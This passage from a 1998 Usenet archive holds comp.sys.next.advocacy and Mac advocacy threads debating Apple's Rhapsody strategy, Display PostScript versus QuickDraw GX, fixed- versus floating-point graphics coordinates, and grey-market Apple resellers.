few weeks, and eventually gave up in utter disgust; I just resorted to
printing the whole grossly overformatted trash heap onto sixty reams of
paper and spent my time flipping through 4-inch three-ring binders with
pages formatted for double-sided printing (to ensure minimal readability
and desktop utility). Whoopdee doo.
Hey, look how pretty it is! That's what I want, carefully kerned text in
my friggin' API reference manual. And who needs hyperlinks? Who needs
hand-editable docs? Who needs an online reader with a small memory/CPU
footprint? Who needs documentation that can be displayed on a sub-21"
monitor? That's just fluff. What developers *really* want is hand-tuned
ligatures on high-priced Adobe fonts when they're looking up function
calls.
Oops, I gave the whole moneymaking scheme away, didn't I?
> >No, no, no! There is never "enough choice". Choice is, by definition, a
> >multiplicity.
>
> Law of diminishing returns? At what point does having twice as many choices
> become less than twice as good?
At the end of the curve toward a new technology breakthrough, at which
point a new breed of choices will emerge.
Unless you live in the Apple world, wherein you get DVD *when Apple's
ready for it*, and then only in the form of the amazingly overpriced
CoolDVD package. How exciting.
Let me put it this way: diminishing returns is a very real phenomenon,
but Apple is so far from it that I would counsel them not to lose sleep
over it.
> > I *want* a PPC choice. What's wrong with that?
>
> Apple is not going to sell clone licensees. I don't think Steve want to
> deal with them. And I think Steve feels it is a "no-win" situation.
>
> I for one could care less.
You mean you *couldn't* care less. And anyway, that puts me right out of
the Rhapsody market. So long, hasta. See you when GNUstep hits release.
Maybe VA Research can get a PPC supply contract from Motorola and build
CHRP-compliant machines on its own when Motorola's conviced that the
GNUstep/Linux market is large enough to warrant the effort. Lots o' fish
in the sea...someday it's going to be so gratifying to watch someone
with balls eat Apple's market for lunch, doing what Apple could/should
have done all along, but couldn't indefinitely prevent...
> I am hardly a luddite. And I don't care if you eat you veggies. So I doubt
> that I have much in common with yout mother.
Hmmm, probably not. She was a real pain with those veggies, let me tell
you...
> I do think that at some point,
> having more choices becomes less interesting. (law of diminishing returns)
> Having a choice between 10 and a 100 is a big deal. Between 1000 and 10000
> is less of a big deal.
Oh, well, then we agree! I assume that having a choice between 1 and 10
is even better, so let's go out and do it, Apple!
Like I said, don't lose any sleep over it.
> >And I just don't understand why people like you push back so hard on
> >this issue...do you really think that it's to Apple's *benefit* to close
> >the hardware spec?
>
> I don't see how it is to Apple's benefit to open it. I think Apple should
> have worked on OEMing to lower prices. Cloning did little (or nothing) to
> increase Apple's market share. In fact, market share shrank while QA costs
> went up.
It has nothing to do with cloning and everything to do with Apple.
MJP
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sat, 30 May 1998 12:49:11 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <Etrsxz.10I@haddock.cd.chalmers.se>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
<6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
<SCOTT.98May29151643@slave.doubleu.com> <1d9taf9.9dkhtjztnwtqN@sextans116.wco.com>
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In <1d9taf9.9dkhtjztnwtqN@sextans116.wco.com> Mike Paquette wrote:
> Not to worry. Damage repair is all done from the backing store to the
> screen in the lightweight window server, to cut down on damage repair
> events and all that context switching.
This sounds like yet another good use of shared memory. :) And the switch
from NeXT to Apple seems to have left the engineers' mental facilities
intact. Good news, but not all that unexpected, I'd say.
Regards,
John Hornkvist
Name: nhoj
Address: cd.chalmers.se
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 08:20:52 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l0cl4$763$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
[...]
> When you say like DPS, you're talking about an API shim anyway since
>that uses fixed-point internally. Mapping coordinate systems just isn't
>difficult. I wouldn't be surprised if Apple's new solution also shared the
>same coordinate space limitations since they're aiming to be compatible
>with PDF and Postscript.
[..]
Have you seen the Postscript source code? Which Postscript? The
fact that some computations may (or may not) be done in fixed-point
math internally doesn't detract from the fact that the programming
model and API are fully floating point.
>: No you DON'T have to scale. IT _may_ have to. Geez.
> But that might not even be what people want. The screen coordinate
>system is usually described in terms of 1/72" points. 3D objects are often
>described in real world units like meters or feet. Odds are *you* or the
>user is going to want to scale. The system can't know if you want a 40
>foot submarine to be 40 points wide or 400 in a viewport.
Exactly. And with floating point coordinates, I can *use* real-world
coordinate systems to describe my graphical objects because I am
not limited by the assumption that everything will be described in
a screen-friendly coordinate system.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 11:49:44 GMT
Organization: P & L Systems
Message-ID: <6l0oso$adf$1@ironhorse.plsys.co.uk>
References: <B196579A-45E28@206.165.43.17> <B196BB0A-33821@206.165.43.133>
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Cc: english@primenet.com
In <B196BB0A-33821@206.165.43.133> "Lawson English" wrote:
> Or does everyone agree with Scott Anguish that GX is hopelessly bloated and
> useless and should be abandoned and that whatever appears in YB should be
> lean and mean and without extraneous features that implement about 90% of
> the functionality of the now-lost DPS?
>
I'm with Scott.
> Ah well, call me Kassandra.
>
Nope: nobody believed Cassandra, but *she* was always *right*.
> I'm crazy to think that Apple will EVER do the
> "right thing" for its developers and installed base.
>
So go away and buy a PC with Windows.
mmalc.
Date: Tue, 02 Jun 1998 08:19:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Message-ID: <joe.ragosta-0206980819220001@wil82.dol.net>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com> <joe.ragosta-0106981945120001@elk50.dol.net> <6kvooc$4bb$1@newsfep2.sprintmail.com>
In article <6kvooc$4bb$1@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
> In <joe.ragosta-0106981945120001@elk50.dol.net> Joe Ragosta wrote:
> > In article <6kv7mg$p34$1@newsfep3.sprintmail.com>, macghod@concentric.net
> wrote:
> >
> > > Ummm, Apple, maybe your lawyers were too busy harrasing web sites with
> > > rhapsody and allegro screenshots to notice, but the supreme court has
> already
> > > ruled on grey market reselling.
> > > They specifically ruled that grey market items dont violate the copyright
> of
> > > the product holder.
> >
> > And how do you know that Apple's going after them for copyright issues?
> > The actual charge wasn't clear from the Macintouch blurb.
>
> First of all Joe, a company, I believe a maker of shampoo, sold shampoo to
> new markets for a lower price than in the us, like half the price. Suppliers
> got grey market shampoo's and sold them in the US, so the company sued. They
> lost. What difference does it make if its copyright issues, reselling grey
> market items has already gone all the way to the supreme court and the
> companies have been told they have NO REMEDY.
Do you EVER read before posting?
I specifically stated that it's possible that Apple is going after
non-copyright issues. While they may not be able to make a copyright case
(as your statement shows), they could certainly make a lot of other cases
stick.
Just one example:
Macintouch has some reports from readers. At least one report says that
the retailer claimed that the customer would be getting a computer with a
full Apple warranty. When he received the machine, he found out that this
was false. That constitutes fraud. If Apple can prove that this situation
actually occurred, winning the case under fraud statutes would be a slam
dunk.
There are many other grounds for suit besides copyright, as well. Please
read my post again.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 08:57:25 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206980857260001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de>
In article <6l0cl4$763$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:Have you seen the Postscript source code? Which Postscript? The
:fact that some computations may (or may not) be done in fixed-point
Recently another OpenStep developer (Erik Buck?) said that Postscript
was fixed-point internally and that even though the API used
floating-point, you still had to abide by the coordinate space limitations
of fixed-point.
:math internally doesn't detract from the fact that the programming
:model and API are fully floating point.
And if I wrap up GX so that all of the calls do an implicit
float->fixed conversion, the API is just as floating-point as DPS.
:Exactly. And with floating point coordinates, I can *use* real-world
:coordinate systems to describe my graphical objects because I am
I have no real problem with floating-point coordinates. They are
necessary for 3D and can be useful for 2D APIs.
:not limited by the assumption that everything will be described in
:a screen-friendly coordinate system.
But that's just it, with a Postscript imaging model even though you
think you're using floating-point you're really still using fixed-point.
If you want a true floating-point coordinate system, you can't use a
Postscript-based imaging model, because even Postscript assumes that it's
using a screen-friendly coordinate system internally.
Of course, unless Apple comes out with some integrated high-level 2D &
3D graphics APIs, I just don't see this particular issue as really being a
problem to anyone in practice.
-Eric
From: Marco van Hylckama Vlieg <marco@bananenbar.to.utwente.nl>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTSTEP/OpenStep on SGI?
Date: Tue, 02 Jun 1998 14:58:06 -0700
Organization: TO
Message-ID: <3574756E.E8ABA6E@bananenbar.to.utwente.nl>
References: <35727C13.1BDDD2CD@student.uni-halle.de> <357260F4.46DD@earthlink.net> <6kvq7r$aqa$2@dns.city-net.com>
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G. Douglas Davidson wrote:
> In article <357260F4.46DD@earthlink.net>, Steve Kellener <skellener@earthlink.net> writes:
> > rene limberger wrote:
> > > I am totaly new to next.
> > > Is next/openstep available for sgi hardware?
> >
> > NO.
>
> You might want to take a look at WindowMaker, if you are basically interested
> in the "look". Try www.windowmaker.org. It looks pretty cool and works on
> SGIs.
I can recommend it greatly! I'm using it on my O2 all the time. The author did a pretty good
jobin implementing the NeXT look and feel.
> Also, you might want to check out the GNOME project at www.gnome.org.
> While it is just starting, it seems to be gathering a considerable amount
> of momentum. While GNOME is a bit difficult to explain (for me anyway) it
> is a set a rules that GNOME aware apps can follow to work together in a
> cool fashion.
At the moment efforts are being made to make WindowMaker support GNOME.Furthermore the
GTK-toolkit (which GNOME is based on) is being given a "pluggable" look
so that eventually the GTK (gnome) applications can look like NeXT gui-wise.
This combined with windowmaker gives you a pretty decent environment.
At least 10.000 times better than the SGI environment. Now it only someone would write a
FileViewer clone for UNIXes it would be complete :)
> Also you might want to check out www.gnustep.org, which is
> an attempt at providing a freely available OpenStep environment. I believe
> that WindowMaker is their "blessed" windowmanager.
GNUstep is cool but currently only usable for hackers. I personally doubt they'll ever get to
a full working release. It's going way too slow. Not to put down the people who work on it of
course,
I just think there isn't enough manpower to get that project going within reasonable amount
of time.
Cheers,
Marco
--
UNOX: The worst Operating System.
Marco van Hylckama Vlieg
TOlab L207b
hylckama@edte.utwente.nl
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 08:37:38 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l0dki$8th$1@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-0206980857260001@192.168.0.3> Eric King claimed:
> Recently another OpenStep developer (Erik Buck?) said that Postscript
> was fixed-point internally and that even though the API used
> floating-point, you still had to abide by the coordinate space limitations
> of fixed-point.
What are the "coordinate space limitations of fixed-point"?
> And if I wrap up GX so that all of the calls do an implicit
> float->fixed conversion, the API is just as floating-point as DPS.
Sigh. Right Eric, 32k is a limit of a floating point number. How would
your shim handle...
0 0 moveto
100000 100000 lineto
stroke
> But that's just it, with a Postscript imaging model even though you
> think you're using floating-point you're really still using fixed-point.
Whereas a GX shim would leave you working in floating point and having to
think in fixed. In DPS you work in float and think in float.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Date: 2 Jun 1998 08:43:29 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l0dvh$8th$3@ns3.vrx.net>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com> <joe.ragosta-0106981945120001@elk50.dol.net>
<6kvooc$4bb$1@newsfep2.sprintmail.com>
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Cc: macghod@concentric.net
In <6kvooc$4bb$1@newsfep2.sprintmail.com> macghod@concentric.net claimed:
> First of all Joe, a company, I believe a maker of shampoo, sold shampoo to
> new markets for a lower price than in the us, like half the price.
Suppliers
> got grey market shampoo's and sold them in the US, so the company sued.
They
> lost.
That's because the original behaviour is clearly in violation of law, it's
called dumping.
Maury
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 10:46:49 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206981046500001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net>
In article <6l0dki$8th$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
: Sigh. Right Eric, 32k is a limit of a floating point number.
It's certainly the limit of a float being converted to a 16.16
fixed-point number.
: How would your shim handle...
:0 0 moveto
:100000 100000 lineto
:stroke
It could clip the out of bounds point or give an error or both. It's
still *trivial* to add. We're talking copy & paste here. Of course, if a
developer knows they're going to be working with numbers with such a large
range, they probably will scale things appropriately. Also, if you know of
a display device that can show the entire line you mentioned above
*without* scaling, I'd love to here about it.
: Whereas a GX shim would leave you working in floating point and having to
:think in fixed.
You're really thinking on the wrong scale. Most users and developers
need sub-pixel precision, not really huge number ranges. It's *MUCH* more
common for someone to need to place something at 1.5pts, 1.2pts than
150000pts, 120000pts. Fixed-point handles sub-pixel precision very nicely,
better than floating-point in many instances. If you're doing
anti-aliasing fixed-point's definitely better.
: In DPS you work in float and think in float.
No you don't, and an OpenStep developer familiar with DPS' internals
just said you didn't a few days ago. You think in float but have to
remember you're really working in fixed. Try creating a font glyph that's
100000 x 100000 in DPS.
The fundamental problem here is that most systems that run Postscript
don't have FPUs, so they can't efficiently work with floating-point
coordinates. If you adopt a Postscript-based imaging model, you're going
to have to take that fact into account. If you want a true floating-point
coordinate system then you don't want GX *or* DPS *or* PDF *or* Flash *or*
QTML.
-Eric
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 15:00:01 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l141h$ig9$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
>In article <6l0cl4$763$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
>(Marcel Weiher) wrote:
>:Have you seen the Postscript source code? Which Postscript? The
>:fact that some computations may (or may not) be done in fixed-point
> Recently another OpenStep developer (Erik Buck?) said that Postscript
>was fixed-point internally and that even though the API used
>floating-point, you still had to abide by the coordinate space limitations
>of fixed-point.
Either Erik wasn't being clear or you misunderstood. The only limit
in DPS is that windows cannot be larger than 16K x 16K *pixels*.
Considering typical screen sizes and the fact that that is 256MPixels,
it seems quite a reasonable limit for a computer display system.
There are no 'coordinate space limitations' you have to abide by.
The only limitation is that you cannot get a window that large.
For example, there are no limits to the size View you can have.
>:math internally doesn't detract from the fact that the programming
>:model and API are fully floating point.
> And if I wrap up GX so that all of the calls do an implicit
>float->fixed conversion, the API is just as floating-point as DPS.
Only if you're careful. If you're not, your coordinates might
overflow or get squashed to zero at the *modelling* level.
Note that this same issue does not matter at the rendering
stage, because once you're dealing with pixels, a coordinate
value that overflows is going to be out of range anyway and
will have been clipped beforehand, and sub-pixel resolutions
don't matter (in this type of imaging model anyhow...)
This is an *internal* matter that should not be exposed in the API.
[...]
>:not limited by the assumption that everything will be described in
>:a screen-friendly coordinate system.
> But that's just it, with a Postscript imaging model even though you
>think you're using floating-point you're really still using fixed-point.
No you're not.
>If you want a true floating-point coordinate system, you can't use a
>Postscript-based imaging model, because even Postscript assumes that it's
>using a screen-friendly coordinate system internally.
Hogwash. Postscript doesn't assume anything.
> Of course, unless Apple comes out with some integrated high-level 2D &
>3D graphics APIs, I just don't see this particular issue as really being a
>problem to anyone in practice.
It is, because it is extra hassle and completely unnecessary at that.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 08:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19964F4-10922@206.165.43.108>
References: <6l0cl4$763$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>Exactly. And with floating point coordinates, I can *use* real-world
>coordinate systems to describe my graphical objects because I am
>not limited by the assumption that everything will be described in
>a screen-friendly coordinate system.
>
16.16 is reasonably real-world for most graphical purposes.
32,000 pixels x 32,000 pixels is larger than nearly any "real world" image.
1/72 x 1/65536 = 2.1343879E-7 is higher resolution than ANY printer.
Besides, it's moot. I dont' worry about fixed vs float. I worry about
*capabilties*.
Mike wants to integrate QD3D/OpenGL with the 2D system of YB. Kool.
But I've also heard that some of the higher-end abilities of GX won't be
brought into Carbon/YB.
The only ones that I can see that can't be brought in are:
the extra color options of GX -especially as applied to bitmaps (which
could be added at any time).
the 3x3 transform matrix and all capabilities dependent on it.
e.g., editable perspective text and graphics, perspective/non-affine
distorted drop shadows.
I'm reasonably confident that the 3x3 matrix has to be added in at the
beginning to make it work well with ALL carbonized apps. The extra color
options aren't as big a deal, API-wise and could be added at any time (I
suspect).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 10:37:09 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l0kkl$cmd$3@ns3.vrx.net>
References: <6l0cl4$763$1@news.cs.tu-berlin.de> <B19964F4-10922@206.165.43.108>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B19964F4-10922@206.165.43.108> "Lawson English" claimed:
> 16.16 is reasonably real-world for most graphical purposes.
"reasonably real-world"
> 32,000 pixels x 32,000 pixels is larger than nearly any "real world" image.
"nearly any".
Funny how that changes so quickly with you Lawson. You keep saying
"nearly" isn't good enough when someone says that EQD is good enough compared
to GX. Yet when it's GX that's suddently "nearly", then it _is_ good enough.
Talk about two faced! The illogical basis of your GX religion is clearly
demonstrated.
> Besides, it's moot. I dont' worry about fixed vs float. I worry about
> *capabilties*.
Yes, but you're not a programmer. More to the point, big coordinate spaces
ARE a capability. Clearly your statements here are invalid.
> Mike wants to integrate QD3D/OpenGL with the 2D system of YB. Kool.
Here we agree.
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Date: 2 Jun 1998 15:02:57 GMT
Organization: I don't think so
Message-ID: <slrn6n858f.cm.jason@jhste1.dyn.ml.org>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com> <joe.ragosta-0106981945120001@elk50.dol.net> <6kvooc$4bb$1@newsfep2.sprintmail.com> <joe.ragosta-0206980819220001@wil82.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>Macintouch has some reports from readers. At least one report says that
>the retailer claimed that the customer would be getting a computer with a
>full Apple warranty. When he received the machine, he found out that this
>was false. That constitutes fraud. If Apple can prove that this situation
>actually occurred, winning the case under fraud statutes would be a slam
>dunk.
I don't know that Apple would have standing in such a case; it's the
consumer's lawsuit (and perhaps the federal government's, if there are
federal criminal statutes for consumer fraud (I have no idea about that,
though), or possibly a state's criminal statute might be implicated).
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 10:32:11 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l0kbb$cmd$2@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
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Cc: marcel@cs.tu-berlin.de
In <6l141h$ig9$1@news.cs.tu-berlin.de> Marcel Weiher claimed:
> There are no 'coordinate space limitations' you have to abide by.
Exactly. GX imposes a 32k one.
> This is an *internal* matter that should not be exposed in the API.
Exactly.
> > But that's just it, with a Postscript imaging model even though you
> >think you're using floating-point you're really still using fixed-point.
>
> No you're not.
My point all along.
> >If you want a true floating-point coordinate system, you can't use a
> >Postscript-based imaging model, because even Postscript assumes that it's
> >using a screen-friendly coordinate system internally.
>
> Hogwash. Postscript doesn't assume anything.
Exactly.
> It is, because it is extra hassle and completely unnecessary at that.
Precisely why I started this sub-thread. PS will look more like QD3D
(maybe, I don't know, it could have some artifical limits too) and OpenGL
because the basic geometric fundamentals are more similar.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 15:13:08 GMT
Organization: P & L Systems
Message-ID: <6l14q4$adf$2@ironhorse.plsys.co.uk>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112>
<3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3>
<6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3>
<3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3>
<6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-2505981754430001@192.168.0.3> Eric King wrote:
> In article <6kca7d$d5n$7@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> :There are clear replacements in sight for NSHosting: Mike Paquette stated
> :that the hooks will be there; Wilfred Sanchez said that Apple intends to
> :support this eventually. This is not a situation "with no clear
replacements
> :in sight".
>
> By clear, I mean a product name and a realistic ship date. Those have
> not been provided. We're not really in much disagreement here, we both
> think that Apple or someone will eventually provide a solution. However,
> I'm not idealistic enough to definitively say that there *will* be a
> solution.
>
Well, we'll have to agree to disagree.
To return to a tiresome theme: maybe you'd like to make a bet on this...?
> :If there are, they're wrong. Explain to me how they're right.
>
> Why don't you ask them yourselves? There have been several posts in
> this newsgroup and comp.sys.next.programmer about it.
>
I asked *you* to explain it.
> :So? This has been argued ad nauseum. cf dejanews December 1997 -
present.
>
> So, I'd like to see more innovative apps like Lightning Draw GX being
> written. Most of LD GX's coolness resulted from Lari having access to a
> very high level graphics library. I'm sorry, I've seen demos of Create,
> and it just didn't impress me as much as LD GX.
>
I've seen and used PhotoShop, and I'm sorry, it didn't impress me as much as
Animo. So?
> :I'd have thought this would make you a bit happier. There seems to be no
> :pleasing some people.
>
> :Yes, and what's different now?
> :re the *huge* task (which you note will take Apple one and a half years):
>
> It's a task they should have started when they first acquired Next. A
> mass market OS developer *needs* direct control of their core display
> technology.
>
Given finite resources, the number of tasks that can be undertaken is
limited. Given the constraints that the developers were working on their
priorities seem reasonable to me.
> :(a) What part of "it uses the same imaging model" don't you understand;
>
> Actually this term 'imaging model' is being tossed around a lot. I'm
> interested to hear what your definition of it is.
>
The method used for drawing on the output device, e.g. describe a line then
paint it. What's your definition?
> :(b) explain how replacing DPS with GX instead of PDF would make the task
> :easier.
>
> Uh, less code to write?
>
vs ~ no code to write. Bollocks.
> As a drawing engine most of the quirks have
> already been worked out and they were pretty far along with an NT port. In
> addition, I believe people have already written PDD to PDF converters.
> Most new code would probably be for a window manager and changing how GX's
> memory management and VM worked.
>
Yeah, that would be simple.
> Of course, since they've laid off most of
> the GX team, management would rather write something new than admit that
> they may have been a bit too hasty with the pink slips.
>
<yawn>
> :> that Adobe would have to be crazy not to come to reasonable licensing
> :> terms with Apple.
> :>
> :I don't recall making such a statement myself.
>
> You know quite well that other OpenStep users have though.
>
So?
> :This probably remains true -- we haven't seen yet how EPS will be handled.
> :Maybe as badly as it is on the Mac at the moment.
>
> Probably so in the beginning, but I could see someone writing an EPS
> rendering component for Yellow apps. It probably wouldn't help Carbon
> apps, though. I don't think there's much hope of a universal EPS display
> service.
>
Why not; it's been made clear Carbon Apps will be able to make use of YB.
> :I don't recall NSHosting being mentioned in the context of DPS prior to
this
> :year's WWDC. Explain to me again how GX would offer this facility?
>
> It wouldn't by itself because it's just a drawing engine.
>
So explain to me again GX's inheretn advantage here?
> Unlike the kitchen sink that was DPS.
>
Sheesh; a GX proponent calls DPS a kitchen sink?!
> This is actually one of my biggest criticisms about OpenStep. You have
> all of these wonderful layers of abstraction throughout the system
> *except* when it comes to graphics. Too much functionality was dependent
> on that standalone DPS server. Take it away and you have all sorts of
> problems:
> No drawing engine
> No window manager
> No remote hosting
> No universal support for EPS files and Postscript
> No high level geometric capabilities
> And to some OpenStep users no WYSIWYG
>
> All of these capabilities could have been abstracted and made
> replaceable. Maybe Next didn't have the resources or time, or maybe they
> just didn't see the need since they were in a different market, but now
> Apple has to go through and clean out the dependencies.
>
The principal goal when NeXTstep was designed was to provide, for the first
time, *true WYSIWYG*. Since PostScript printers were becoming a primary
means of producing printed output, NeXT's decisions made sense at the time.
With DPS they produced a solution which *worked* (more apparently than be
said about GX), which was more than most people believed they could do.
Maybe given hindsight and today's processing power you might do things
differently, but Apple inherited the technology as was.
And it looks like Apple is about to address all of these issues in a fairly
painless way.
And GX would be better how?
> : PDF is the direction that the technology is moving in.
>
> True enough, but that is because Postscript is a truly awful format for
> document interchange and editing.
>
So what's your complaint?
> Part of the reason why Apple designed GX
> was because of the problems publishing pros had working with Postscript.
> PDFs and GX's PDDs were released at almost the same time to serve many of
> the same purposes. Anyone with SimpleText could view a GX PDD.
>
Including all those PC users...?
> Anyone with Acrobat could view a PDF.
>
And still can -- including Windows, users, Unix users etc etc.
> However, PDDs were smaller, easier (i.e. free)
> to make, and rendered faster than Acrobat documents. Apple, however, was
> quite wonky with its GX support, and Adobe was downright uncooperative.
> Hence PDF prevailed.
>
So explain to me again why GX is the right solution now? Because of its
excellent cross-platform abilities?
This is what I consistently fail to understand about the GX fanatics. You
seem to fail completely to understand the world as it is, in which Apple is a
*minority player* and needs to follow *standards* where it can. Even Jobs
understands this.
> : With MacOS X Apple will be hitting the market
> :with the right product at the right time.
>
> Maybe, maybe not. We still don't know precisely what Apple's tools will
> allow one to do with PDFs.
>
Create them -- what more do you need?
> :Engineering is about compromises. The situation's changed, the market is
> :changing, different priorities now apply.
>
> Oh, good grief. They haven't changed that much,
>
Yes it has: Adobe is trying to deprecate (D)PS, and PDF is in the ascendancy.
That's enough change to require a change in direction.
> it's just taken the new
> Next-centric management this long to realize what the real situation is
> and what their priorities should have been in the first place.
>
So what is the real situation, and what should have their priorities been?
> : Explain to me how things would be
> :better with GX. Would DR1 have shipped yet?
>
> Sure.
> Ever hear of parallel development? DR1, DR2, and maybe even CR1
> could all have used DPS,
>
I asked if DR1 would have shipped. Using GX, I'd bet it wouldn't have.
> the mass market one could have used GX or
